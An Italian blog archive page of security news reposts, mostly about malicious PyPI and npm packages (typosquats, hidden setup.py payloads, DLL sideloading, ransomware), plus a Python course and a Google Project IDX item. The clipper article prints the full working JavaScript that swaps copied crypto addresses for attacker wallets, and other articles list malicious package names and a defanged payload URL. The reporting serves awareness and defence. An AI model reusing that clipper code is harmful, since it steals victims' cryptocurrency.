python Archivi - Webbare

Corso Python per Principianti: Su Pills for Nerd Parte un Nuovo Percorso di Programmazione

admin — Mon, 30 Sep 2024 13:09:40 +0000

Su Pills for Nerd, una delle piattaforme di riferimento per appassionati di tecnologia e programmazione, sta per iniziare un nuovo corso per principianti di Python. Il corso è pensato per chi si avvicina per la prima volta a questo linguaggio di programmazione, oggi tra i più richiesti nel mondo del lavoro grazie alla sua versatilità e facilità d’uso.

Durante il percorso, gli studenti impareranno le basi di Python, dalla sintassi fondamentale alla gestione di variabili, cicli, funzioni e moduli. Ideale per chi vuole avviare la propria carriera nella programmazione o per appassionati in cerca di nuove competenze, il corso offre un approccio pratico e accessibile a tutti.

Fonte: Pills For Nerds

L'articolo Corso Python per Principianti: Su Pills for Nerd Parte un Nuovo Percorso di Programmazione proviene da Webbare.

Sonatype espone il pacchetto PyPI dannoso “pytoileur”

admin — Wed, 29 May 2024 15:35:51 +0000

Sonatype ha scoperto “pytoileur”, un pacchetto PyPI dannoso progettato per scaricare e installare binari Windows troianizzati in grado di sorvegliare, requisire la persistenza e rubare criptovalute. Questa scoperta fa parte di una campagna più ampia, durata mesi, denominata “Cool package”, volta a infiltrarsi nella comunità dei codificatori.

Ieri, un sistema di rilevamento automatico di malware gestito da Sonatype, noto come Sonatype Repository Firewall, ha segnalato un pacchetto PyPI appena pubblicato chiamato “pytoileur”. Il pacchetto dannoso, rintracciato come sonatype-2024-1783, aveva registrato 264 download dal suo rilascio prima che Sonatype avvertisse gli amministratori di PyPI di rimuoverlo.

Il pacchetto si descriveva come “pacchetto cool”, con una descrizione HTML che affermava che si trattava di “uno strumento di gestione delle API scritto in Python”. È interessante notare che includeva un riferimento a “pystob”, un pacchetto ormai defunto, indicando un tentativo di typosquatting per ingannare gli utenti di pacchetti legittimi come “Pyston”.

A prima vista, il file “setup.py” all’interno di “pytoileur” sembrava pulito, ma Jeff Thornhill, ricercatore di sicurezza di Sonatype, ha scoperto del codice maligno abilmente nascosto con spazi bianchi eccessivi.

“Sebbene la codifica base64 sia piuttosto standard nelle applicazioni e non offra molto in termini di mascheramento del codice dannoso, l’autore ha tentato di ‘nascondere’ questa particolare stringa codificata alla revisione umana manuale iniettandola dopo un’istruzione di stampa e includendo un paragrafo di spazi bianchi prima del codice”, ha spiegato Thornhill.

Il payload codificato in base64 è stato progettato per colpire gli utenti di Windows. Utilizzava comandi Python per scaricare un eseguibile dannoso da un server esterno (hxxp://51.77.140[.]144:8086/dl/runtime). Il binario dannoso, “Runtime.exe”, viene eseguito utilizzando comandi Windows PowerShell e VBScript. Questo eseguibile impiega misure anti-rilevamento per evitare i controlli e installa spyware aggiuntivi in grado di persistere, tra cui funzionalità di furto di informazioni e crypto-jacking.

Ax Sharma, ricercatore di Sonatype, ha scoperto che l’attore delle minacce dietro il pacchetto PyPI dannoso “pytoileur” sta pubblicando risposte false su StackOverflow, invitando le persone a installare il pacchetto dannoso.

Questa preoccupazione è amplificata dalla grande presenza di sviluppatori alle prime armi su StackOverflow, che stanno ancora imparando e potrebbero essere vittime di consigli dannosi.

Ulteriori indagini hanno rivelato che “pytoileur” fa parte di una campagna più ampia legata a pacchetti dannosi identificati in precedenza. Questi pacchetti, spesso descritti semplicemente come “Cool package”, hanno utilizzato tecniche di inganno simili dal 2023. Si camuffano da strumenti di gestione delle API o da versioni semplificate di utility ben note, prendendo di mira gli sviluppatori di varie nicchie, tra cui l’intelligenza artificiale e l’apprendimento automatico.

Uno dei pacchetti precedenti, “gpt-requests”, che sembrava rivolto agli sviluppatori di IA, nascondeva anche i payload dannosi utilizzando gli spazi bianchi. Simili a “pytoileur”, questi payload scaricano binari troianizzati destinati allo spionaggio e al furto di dati.

Il pacchetto “lalalaopti” è particolarmente degno di nota perché conteneva moduli di codice Python in chiaro per il dirottamento degli appunti, il keylogging, l’accesso remoto alla webcam e la cattura degli screenshot, evidenziando ulteriormente l’intento malevolo degli attori delle minacce dietro questa campagna.

I ricercatori di Sonatype e Checkmarx hanno identificato diversi pacchetti dannosi collegati a questa campagna, tra cui:

gogogolokl
gpt-richieste
kokokoako
lalalaopti
pybowl
pyclack
pyefflorer
pyhjdddo
pyhulul
piioapso
pyjio
pyjoul
pykokalalz
pykooler
pyktrkatoo
pilone
piminor
piowler
pipiele
pystallerer
pistob
pytarlooko
pytasler
pitoileur
pywolle
pywool

La ricomparsa della campagna “Cool package” attraverso “pytoileur” dimostra la persistenza delle minacce poste da attori malintenzionati negli ambienti di sviluppo software. In presenza di minacce simili, Sonatype dichiara che continuerà a espandere le proprie blocklist e a salvaguardare la comunità degli sviluppatori.

L'articolo Sonatype espone il pacchetto PyPI dannoso “pytoileur” proviene da Webbare.

Phylum scopre un malware mirato camuffato in un pacchetto Python

admin — Wed, 22 May 2024 11:58:05 +0000

Gli esperti di cybersicurezza di Phylum hanno individuato un payload dannoso incorporato in un popolare pacchetto Python sul repository PyPI. Il pacchetto, denominato requests-darwin-lite, è una variante non autorizzata della libreria requests, ampiamente utilizzata.

Il pacchetto requests-darwin-lite è stato abilmente progettato per emulare la sua controparte legittima, ma includeva un binario Go nascosto in un file immagine sovradimensionato che fingeva di essere un semplice logo. Questo file – un PNG etichettato come immagine della barra laterale – pesava insolitamente circa 17 MB, in netto contrasto con le dimensioni normali di circa 300 kB della versione autentica.

Durante l’installazione del pacchetto, se l’ambiente di installazione era macOS, veniva attivata una classe di comando specializzata “PyInstall”. Questa classe esegue un comando codificato in base64 che estrae l’UUID (Universal Unique Identifier) del sistema.

Il codice verificava la presenza di un UUID specifico, indicando un attacco altamente mirato. Se l’UUID non corrispondeva, l’installazione proseguiva senza distribuire il malware. Ciò suggerisce che gli aggressori stavano testando la distribuzione o avevano in mente un obiettivo molto specifico.

Quando le condizioni erano soddisfatte, il file PNG sovradimensionato veniva elaborato per estrarre il binario nascosto, che veniva poi reso eseguibile ed eseguito in background, dando di fatto agli aggressori il controllo del computer. L’analisi dei file ha identificato il binario come un componente di OSX/Silver, un framework C2 (comando e controllo) simile a Cobalt Strike, ma meno conosciuto e quindi con minori probabilità di essere rilevato.

Phylum ha notato che le versioni precedenti di questo pacchetto includevano il gancio di installazione dannoso e il binario impacchettato. Tuttavia, le versioni successive – identificate come 2.28.0 e 2.28.1 – hanno ridotto queste caratteristiche aggressive; la prima non esegue più il binario al momento dell’installazione e la seconda è del tutto priva dei componenti dannosi.

La scoperta ha provocato una segnalazione immediata a PyPI, che ha portato alla rimozione di tutte le versioni del pacchetto dal repository. Questa sequenza di eventi sottolinea la necessità di vigilare nella comunità open-source, dove la confusione delle dipendenze e gli attacchi mirati stanno diventando sempre più sofisticati.

Questo incidente ci ricorda che gli aggressori continuano ad evolvere i loro metodi per sfruttare gli ecosistemi open-source, sfruttando pacchetti apparentemente innocenti per distribuire malware. È necessario aumentare la consapevolezza e le misure preventive in tutta la comunità tecnologica per salvaguardarsi da questi attacchi.

L'articolo Phylum scopre un malware mirato camuffato in un pacchetto Python proviene da Webbare.

PyPI sospende le registrazioni a causa di un attacco di malware

admin — Wed, 03 Apr 2024 08:18:31 +0000

Il Python Package Index (PyPI) ha sospeso la creazione di nuovi progetti e la registrazione degli utenti per mitigare una campagna di upload di malware in corso. Questa mossa arriva dopo che i ricercatori di sicurezza di Checkmarx hanno scoperto una campagna che coinvolge più pacchetti dannosi legati agli stessi attori della minaccia.

Gli aggressori stanno prendendo di mira le vittime attraverso attacchi di typosquatting, inducendo gli utenti a installare pacchetti Python dannosi attraverso la loro interfaccia a riga di comando. Questo attacco in più fasi mira a rubare portafogli di criptovalute, dati sensibili del browser come cookie e dati delle estensioni e varie credenziali.

Il payload dannoso impiega anche un meccanismo di persistenza per sopravvivere ai riavvii del sistema, garantendo l’accesso continuo alle macchine compromesse.

Pacchetti maligni di typosquatting

Tra il 27 e il 28 marzo 2024, diversi pacchetti Python dannosi sono stati caricati su PyPI, probabilmente utilizzando strumenti di automazione. Questi pacchetti contenevano codice maligno all’interno dei loro file setup.py, consentendo l’esecuzione automatica al momento dell’installazione.

I file setup.py contenevano codice offuscato e crittografato utilizzando il modulo di crittografia Fernet. Al momento dell’installazione, questo codice veniva eseguito, innescando il recupero di un payload aggiuntivo da un server remoto. L’URL del payload è stato costruito dinamicamente aggiungendo il nome del pacchetto come parametro di query.

Una volta decriptato, il payload recuperato ha rivelato un ampio info-stealer progettato per raccogliere informazioni sensibili dal computer della vittima, tra cui portafogli di criptovalute, dati del browser e credenziali.

In risposta alla campagna di malware, PyPI ha temporaneamente sospeso la creazione di nuovi progetti e la registrazione di nuovi utenti. Questa misura mira a mitigare la minaccia in corso mentre l’organizzazione indaga e affronta il problema.

L’elenco completo dei pacchetti scoperti da Checkmarx è disponibile qui.

L'articolo PyPI sospende le registrazioni a causa di un attacco di malware proviene da Webbare.

Scoperti alcuni Pacchetti Python che utilizzavano il sideloading DLL per aggirare la sicurezza

admin — Wed, 21 Feb 2024 14:12:49 +0000

I ricercatori di ReversingLabs hanno scoperto dei pacchetti Python che utilizzano il sideloading di DLL per aggirare gli strumenti di sicurezza.

Il 10 gennaio 2024, Karlo Zanki, un reverse engineer di ReversingLabs, si è imbattuto in due pacchetti sospetti sul Python Package Index (PyPI). Questi pacchetti, denominati NP6HelperHttptest e NP6HelperHttper, sono risultati utilizzare il sideloading di DLL, una tecnica nota utilizzata da attori malintenzionati per eseguire codice in modo discreto ed eludere il rilevamento da parte degli strumenti di sicurezza.

Questa scoperta sottolinea l’espansione del panorama delle minacce all’interno delle catene di fornitura del software, con attori malintenzionati che sfruttano le vulnerabilità negli ecosistemi open-source. L’incidente evidenzia le sfide che gli sviluppatori devono affrontare per verificare la qualità e l’autenticità dei moduli open-source, in un panorama vasto e in continua evoluzione di codice disponibile.

I pacchetti dannosi, camuffati con nomi molto simili a quelli legittimi, miravano a ingannare gli sviluppatori e a farli incorporare inconsapevolmente nei loro progetti. Questa tattica, nota come typosquatting, è solo uno dei tanti metodi utilizzati dagli aggressori per infiltrarsi nelle catene di fornitura del software legittimo.

Ulteriori indagini hanno rivelato che i pacchetti dannosi hanno preso di mira i pacchetti PyPI esistenti, NP6HelperHttp e NP6HelperConfig, originariamente pubblicati da un utente chiamato NP6. Mentre NP6 è associato a Chapvision, un’azienda di automazione del marketing, l’account PyPI in questione era collegato a un account personale di uno sviluppatore di Chapvision. La scoperta ha spinto Chapvision a confermare la legittimità degli strumenti di aiuto e a rimuovere successivamente i pacchetti dannosi da PyPI.

L’analisi dei pacchetti dannosi ha rivelato un approccio sofisticato, in cui uno script setup.py è stato utilizzato per scaricare sia i file legittimi che quelli dannosi. In particolare, la DLL dannosa – dgdeskband64.dll – è stata creata per sfruttare il sideloading delle DLL, una tecnica comunemente utilizzata dai criminali informatici per caricare codice dannoso eludendo il rilevamento.

Un ulteriore esame ha rivelato una campagna più ampia, con altri campioni che presentano caratteristiche simili. La piattaforma Titanium di ReversingLabs, utilizzando YARA Retro Hunt, ha identificato campioni correlati che indicano uno sforzo coordinato da parte degli attori delle minacce.

Il codice dannoso, incorporato nella DLL, utilizzava un gestore di eccezioni per eseguire shellcode, stabilendo una connessione con un server esterno per scaricare ed eseguire payload. L’indagine ha inoltre portato alla luce tracce di Cobalt Strike Beacon, uno strumento di sicurezza del Red Team riutilizzato dagli attori delle minacce per attività dannose.

Questa scoperta sottolinea la crescente sofisticazione degli attori maligni che sfruttano le infrastrutture open-source per le loro campagne. Evidenzia l’urgente necessità per gli sviluppatori e le organizzazioni di fortificare le loro catene di fornitura del software contro tali attacchi, sottolineando le misure proattive per garantire l’integrità e la sicurezza dei loro repository di codice.

L'articolo Scoperti alcuni Pacchetti Python che utilizzavano il sideloading DLL per aggirare la sicurezza proviene da Webbare.

Google aggiunge i simulatori iOS e Android al Progetto IDX

admin — Wed, 31 Jan 2024 13:15:50 +0000

Google ha aggiunto simulatori iOS e Android direttamente all’interno del suo spazio di lavoro per sviluppatori basato su cloud, Project IDX.

Il gigante della ricerca ha lanciato Project IDX sei mesi fa come strumento sperimentale per semplificare lo sviluppo di app full-stack e multipiattaforma. Consolida i complessi flussi di lavoro tradizionalmente associati alla creazione di applicazioni mobili e web in un unico ambiente collaborativo.

Pasquale D’Silva, sviluppatore dell’app di creazione di contenuti alimentata dall’intelligenza artificiale che Tanaki ha realizzato con Project IDX, ha dichiarato che lo spazio di lavoro condiviso è stato “così divertente” e come “un portale di collaborazione magico” per il suo team remoto.

Il Firebase Blog è un altro progetto che ora è stato completamente scritto, sviluppato e distribuito utilizzando Project IDX. Anche Lloyd Tabb, Google Distinguished Engineer, lo sta utilizzando per i suoi numerosi progetti di dati in corso, tra cui Malloy, che gli consente di “avviare rapidamente un’istanza per risolvere un problema”.

I nuovi simulatori iOS e Android consentono agli sviluppatori di visualizzare l’anteprima delle loro applicazioni senza lasciare Project IDX. Per i modelli web e Flutter, viene caricata automaticamente l’anteprima Chrome o Safari appropriata. Questa funzione consente agli sviluppatori di verificare i layout e il comportamento durante la creazione.

Project IDX ha anche aggiunto nuovi modelli di app, tra cui quelli per Astro, Go, Python, Flask Qwik, Lit, Preact, Solid.js e Node.js, rispondendo alle richieste degli utenti. Anche la galleria dei modelli è stata migliorata.

La configurazione Nix alimenta gli spazi di lavoro IDX ed è stata migliorata per facilitare le personalizzazioni. I miglioramenti includono una migliore modifica dei modelli, la modifica del codice con l’evidenziazione della sintassi e i suggerimenti e la ricostruzione più rapida dell’ambiente quando si risolvono i problemi.

Ulteriori aggiornamenti per gli sviluppatori includono la regolazione automatica del firewall per i servizi, l’accesso rapido agli strumenti della riga di comando e il supporto per Docker. Le funzionalità AI di Project IDX sono state estese ad altri 15 Paesi.

Google continua ad arricchire Project IDX e invita gli sviluppatori a continuare a fornire feedback.

L'articolo Google aggiunge i simulatori iOS e Android al Progetto IDX proviene da Webbare.

Sonatype scopre altri pacchetti PyPI e npm dannosi

admin — Wed, 28 Jun 2023 12:51:39 +0000

Sonatype continua a scoprire un numero significativo di pacchetti dannosi all’interno dei registri software PyPI e npm.

Tra i pacchetti segnalati ci sono diversi pacchetti Python pubblicati su PyPI, mascherati da librerie legittime che prendono il nome dalla popolare libreria “colors” di npm.

I pacchetti dannosi, che includono nomi come “broke-rcl”, “brokescolors” e “trexcolors”, erano destinati esclusivamente al sistema operativo Windows. Una volta installati, questi pacchetti avviavano il download e l’esecuzione di un trojan ospitato sui server di Discord.

Sonatype ha prontamente segnalato queste scoperte a PyPI, ottenendo la rimozione dei pacchetti dannosi e dell’account utente associato.

Un altro pacchetto dannoso, “trexcolors”, che prende il nome dalla libreria npm “colors”, è stato scoperto scaricare ed eseguire un trojan noto come “trex.exe” al momento dell’installazione.

Questo trojan, rilevato da VirusTotal, funziona come ruba-informazioni e incorpora tecniche di evasione per impedire l’analisi e gli sforzi di reverse engineering.

Malware multipiattaforma: Libiobe

Oltre ai pacchetti sopra citati, Sonatype ha identificato un pacchetto PyPI denominato “libiobe”, probabilmente ispirato alla libreria legittima “iobes”.

A differenza dei pacchetti specifici per Windows, “libiobe” mirava sia ai sistemi operativi Windows che Unix.

Su Windows, il pacchetto distribuiva un eseguibile infetto da trojan, denominato “V0d220823bb829d3fcc62d10adf.exe”, nascosto nel codice sorgente come stringa codificata in base64.

Sui sistemi Linux/Unix, invece, è stato eseguito un codice Python minificato, anch’esso codificato in base64, che ha inviato dati di fingerprinting del sistema a un endpoint Telegram.

Codice offuscato: FNBOT2, TAGADAY e ZUPPA

Oltre ai pacchetti PyPI e npm che imitano la libreria “colors”, l’analisi di Sonatype ha rivelato codice offuscato nei pacchetti denominati FNBOT2, TAGADAY e ZUPPA.

Questi pacchetti utilizzano uno schema simile a quello osservato in precedenti casi di attacchi cryptominer, utilizzando sei variabili denominate magia, amore, dio, destino, gioia e fiducia.

La tecnica di offuscamento utilizzata è comunemente facilitata da strumenti online, come quello fornito da development-tools.net.

La scoperta di questi pacchetti dannosi da parte di Sonatype mette in evidenza le minacce persistenti che devono affrontare i registri di software open-source come PyPI e npm. Anche se i pacchetti identificati non introducono nuovi payload o tattiche, servono a ricordare i continui tentativi di sfruttare le vulnerabilità negli ecosistemi open-source da parte di attori malintenzionati.

L'articolo Sonatype scopre altri pacchetti PyPI e npm dannosi proviene da Webbare.

PyPI sospende nuovi progetti e utenti a causa di attività dannose

admin — Wed, 24 May 2023 14:06:14 +0000

Il team di PyPI (Python Package Index) ha temporaneamente sospeso nuovi progetti e utenti sulla propria piattaforma a causa di attività dannose.

Questa ondata di attività dannose si allinea a una tendenza più ampia osservata negli ultimi mesi in diversi registri open-source. In particolare, incidenti come l’ondata di pacchetti dannosi sul gestore di pacchetti JavaScript NPM e un attacco simile al gestore di pacchetti Nuget lo scorso anno, che ha coinvolto oltre 140.000 pacchetti dannosi, hanno evidenziato la vulnerabilità di queste piattaforme.

PyPI ha registrato un improvviso picco di pubblicazioni di pacchetti la scorsa settimana. Ad esempio, un attore minaccioso ha sfruttato tre account utente per pubblicare numerosi pacchetti dannosi, tra cui uno chiamato “OaxStealer”. Questo pacchetto conteneva codice codificato che, una volta eseguito, scaricava un secondo malware da un servizio legittimo chiamato “replit.com”.

Il malware scaricato era progettato per rubare informazioni sensibili alle vittime, tra cui credenziali, nomi di file e screenshot.

In particolare, gli aggressori hanno utilizzato la piattaforma SaaS legittima Replit come server di comando e controllo (C2) per raccogliere i dati rubati.

Indagando sull’account dell’aggressore, i ricercatori della società di test sulla sicurezza delle applicazioni Checkmarx hanno scoperto il codice completo del server C2 e i file .exe utilizzati nell’attacco.

Questo incidente serve a ricordare che l’abuso dei registri open-source non è limitato solo a PyPI, ma rappresenta una minaccia più ampia per l’intero ecosistema. È fondamentale spostare l’attenzione dal solo rilevamento degli attacchi all’identificazione degli aggressori che si celano dietro queste attività dannose.

Checkmarx osserva che la comprensione delle tattiche, delle tecniche e delle procedure (TTP) utilizzate dagli aggressori è essenziale per difendersi efficacemente da questi attacchi.

Per garantire la sicurezza dell’ecosistema open-source, è indispensabile che la comunità investa nello sviluppo di nuove infrastrutture e nella condivisione dei dati sugli attacchi. Sostenere gli sforzi di piattaforme come PyPI è fondamentale per la prosperità dell’ecosistema open-source.

Gli sviluppatori e le organizzazioni alla ricerca di framework sicuri sono incoraggiati a esplorare iniziative come OpenSSF S2C2F e progetti comunitari come l’estensione Overlay, che aiutano gli sviluppatori a valutare i pacchetti open source prima di sceglierli.

L'articolo PyPI sospende nuovi progetti e utenti a causa di attività dannose proviene da Webbare.

Malware Clipper trovato in oltre 451 pacchetti PyPI

admin — Tue, 21 Feb 2023 09:11:32 +0000

I ricercatori di sicurezza di Phylum hanno scoperto oltre 451 pacchetti nel Python Package Index (PyPI) che sono infetti da malware “clipper”.

I clipper sostituiscono il contenuto degli appunti di una vittima con qualcosa che avvantaggia l’aggressore. I clipper più diffusi oggi cercano indirizzi di criptovaluta e li modificano per rubare fondi.

A partire dal 9 febbraio, Phylum è stata avvisata dalla sua piattaforma di rilevamento automatico dei rischi di una lunga serie di pubblicazioni sospette su PyPI. I ricercatori hanno notato che sembrava simile a una precedente campagna scoperta nel novembre 2022, ma con una tecnica di offuscamento aggiornata e un volume “radicalmente aumentato”.

La campagna precedente ha visto gli aggressori pubblicare poco più di due dozzine di pacchetti. Questa volta ci sono oltre 451 pacchetti unici.

“Questo utente malintenzionato ha notevolmente aumentato la propria impronta in pypi attraverso l’automazione”, ha spiegato Phylum.

Entrambe le campagne sfruttano il typosquatting, ovvero un semplice errore di battitura nell’indirizzo di un pacchetto legittimo, per indurre gli sviluppatori a installare versioni dannose.

In questo caso, viene creata un’estensione del browser Chromium che viene caricata automaticamente all’avvio di uno dei browser di destinazione, inclusi Chrome, Edge, Brave e Opera, utilizzando l’opzione della riga di comando “–load-extension”.

Il seguente JavaScript viene quindi scritto nell’estensione che mira a sostituire la crittografia indirizzata con quella controllata dall’attacker:

let page = chrome.extension.getBackgroundPage();

var inputElement = document.createElement(‘input’);

document.body.appendChild(inputElement);

inputElement.focus();

function checkWalletAddresses() {

document.execCommand(‘paste’);

var clipboardContent = inputElement.value;

clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, ‘0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63’);

clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, ‘TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa’);

clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, ‘bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw’);

clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, ‘bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2’);

clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, ‘LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3’);

clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, ‘rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx’);

clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, ‘DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx’);

clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, ‘addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz’);

clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, ’41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv’);

clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, ‘GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH’);

\tclipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, ‘cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y’);

inputElement.value = clipboardContent;

inputElement.select();

document.execCommand(‘copy’);

inputElement.value = ”;

}

setInterval(checkWalletAddresses, 1000);

Puoi trovare la ripartizione completa della campagna di Phylum e l’elenco dei pacchetti scoperti qui.

L'articolo Malware Clipper trovato in oltre 451 pacchetti PyPI proviene da Webbare.

Una campagna malware prende di mira i repository Python e JavaScript ufficiali

admin — Wed, 14 Dec 2022 13:13:26 +0000

Una campagna di malware attiva prende di mira i repository ufficiali di Python e JavaScript.

La società di sicurezza della catena di fornitura di software Phylum ha individuato la campagna. Phylum ha affermato di aver scoperto la campagna dopo aver notato una raffica di attività attorno ai typosquat del popolare pacchetto di richieste Python.

I typosquat sfruttano semplici errori di battitura per installare pacchetti dannosi.

In questo caso, i typos PyPI includono: dequests, fequests, gequests, rdquests, reauests, reduests, reeuests, reqhests, reqkests, requesfs, requesta, requeste, requestw, requfsts, resuests, rewuests, rfquests, rrquests, rwquests, telnservrr e tequest.

Phylum in seguito ha scoperto che l’attaccante stava pubblicando i seguenti pacchetti NPM che sfruttano anch’essi il typosquatting: discordallintsbot, discordselfbot16, discord-all-intents-bot, discors.jd e telnservrr.

In quanto cloni delle biblioteche ufficiali, spesso passano inosservati finché non è troppo tardi.

A seconda del sistema operativo del dispositivo della vittima, questo particolare malware scarica un binario Golang rilevante. Una volta eseguito, lo sfondo del desktop del computer della vittima viene aggiornato con una falsa immagine della CIA e il malware tenterà di crittografare alcuni file.

Un file README viene inserito dal malware sul desktop che chiede all’utente di contattare l’individuo su Telegram e pagare “una piccola quota di $ 100” in BTC, ETH, LTC o XMR. In caso contrario, l’attaccante afferma che la chiave di decrittazione verrà cancellata.

Secondo Phylum, l’attacco è in corso (dal 13 dicembre 2022) ma è stata rilasciata una nuova versione del ransomware che ha anche limitato le architetture supportate.

L'articolo Una campagna malware prende di mira i repository Python e JavaScript ufficiali proviene da Webbare.